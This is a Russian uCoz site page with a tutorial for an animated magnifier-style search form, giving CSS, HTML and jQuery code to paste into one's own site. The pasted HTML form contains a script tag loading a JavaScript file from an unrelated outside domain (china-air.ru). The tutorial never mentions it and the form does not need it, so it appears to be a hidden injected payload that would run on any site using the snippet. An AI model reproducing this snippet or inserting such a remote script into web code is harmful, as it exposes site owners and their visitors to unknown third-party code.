-
Главное Меню
- Главная страница
- Новости Сайта Аниме
- Статьи
- Каталог Файлов
- Наруто Общение
- Форум Связь с сайтом
- Обратная Связь
- Гостевая книга
Шаблоны для uCoz [38] |
Софт [6] |
Шаблоны для DLE [3] |
Скрипты для uCoz [90] |
Блоки для uCoz [0] |
Иконки групп [0] |
Смаилы [0] |
Другое [1] |
Наруто [0] |
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Главная » Файлы » Скрипты для uCoz |
Форма поиска для Ucoz
23.12.2012, 22:41 | |
Первое состояние, изображение лупы. Второе состояние происходит после клика по первому, плавно изменяется ширина поля ввода поискового запроса. Третье состояние происходит когда мы убираем фокус из поля ввода, запускается анимация на прокрутку лупы. Итак давайте приступим к установке: Установка CSS Код #search { font-family: Helvetica Neue, Helvetica, Arial, sans-serif; background:#fff; width: 8px; padding: 0 8px; height: 24px; font-size: 14px; color: #666; line-height: 24px; border: 0; outline: none; border-radius: 50px; position: relative; z-index: 5; -moz-transition: .1s ease; -ms-transition: .1s ease; -webkit-transition: .1s ease; -o-transition: .1s ease; transition: .1s ease; cursor:pointer; } #search:focus { border: 0; outline: none; width: 180px; /*ширина открытой формы*/ } p.s { z-index: 4; position: relative; padding: 6px; border-radius: 100px; background: #abc8df; display: inline-block; cursor:pointer; } p.s:hover, p.s:hover:after { background: #9eb9cf; } p.s_fo { -o-transition: 0.9s; -moz-transition: 0.9s; -ms-transition: 0.9s; -webkit-transition: 0.9s; transition: 0.9s; -moz-transform: rotate(1080deg); -ms-transform: rotate(1080deg); -webkit-transform: rotate(1080deg); -o-transform: rotate(1080deg); transform: rotate(1080deg); } p.s:after { content: ''; display: block; position: absolute; width: 7px; height: 12px; background: #abc8df; bottom: -4px; right: -2px; border-radius: 0 0 5px 5px; -moz-transform: rotate(-45deg); -ms-transform: rotate(-45deg); -webkit-transform: rotate(-45deg); -o-transform: rotate(-45deg); transform: rotate(-45deg); } .blue p.s, .blue p.s:after {background:#abc8df;} /*цвет лупы*/ .blue p.s:hover, .blue p.s:hover:after {background:#9eb9cf;} /*цвет лупы при наведении*/ .green p.s, .green p.s:after {background:#65b11c;} .green p.s:hover, .green p.s:hover:after {background:#599c18;} .gray p.s, .gray p.s:after {background:#d7d7d7;} .gray p.s:hover, .gray p.s:hover:after {background:#c4c4c4;} .pink p.s, .pink p.s:after {background:#ffbcef;} .pink p.s:hover, .pink p.s:hover:after {background:#e49cd3;} .orange p.s, .orange p.s:after {background:#faaa3a;} .orange p.s:hover, .orange p.s:hover:after {background:#ea9e33;} .black p.s, .black p.s:after {background:#676767;} .black p.s:hover, .black p.s:hover:after {background:#484747;} Добавляем их все также либо в стандартные стили ПУ / Дизайн / Управление дизайном (CSS), либо добавляем в свой css файл Установка HTML Код <form method="get" action="/search/" class="blue"> <p class="s"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><input name="q" id="search" type="text" value=""></p> </form> Устанавливаем в то месте где хотим видеть... Установка JS Код <script> jQuery(document).ready(function () { $('#search').focusout(function(){ $('p.s').addClass("s_fo"); }); $('#search').focusin(function(){ $('p.s').removeClass("s_fo"); }); }); </script> Копируем и вставляем либо в отдельный js файл, либо после html кода формы поиска Чтобы изменить цветовыю схему формы поиска для uCoz достаточно изменить всего лишь один класс в html коде тега form ниже представленны 6 вариантов цветовых решений blue - голубой green - зеленый gray - серый pink - розовый orange - оранжевый black - черный Если вы не нашли своего цветового решения, то можете с легкостью написать свое, прочтя комментарии в css коде, также можетеизменить и ширину раскрытой части. Понравилась статья? Оставьте свое мнение в комментариях к ней... | |
Категория: Скрипты для uCoz | Добавил: startsmart | |
Просмотров: 349 | Загрузок: 0 | Рейтинг: 0.0/0 |
Всего комментариев: 0 | |
Copyright MyCorp © 2025 | Бесплатный хостинг uCoz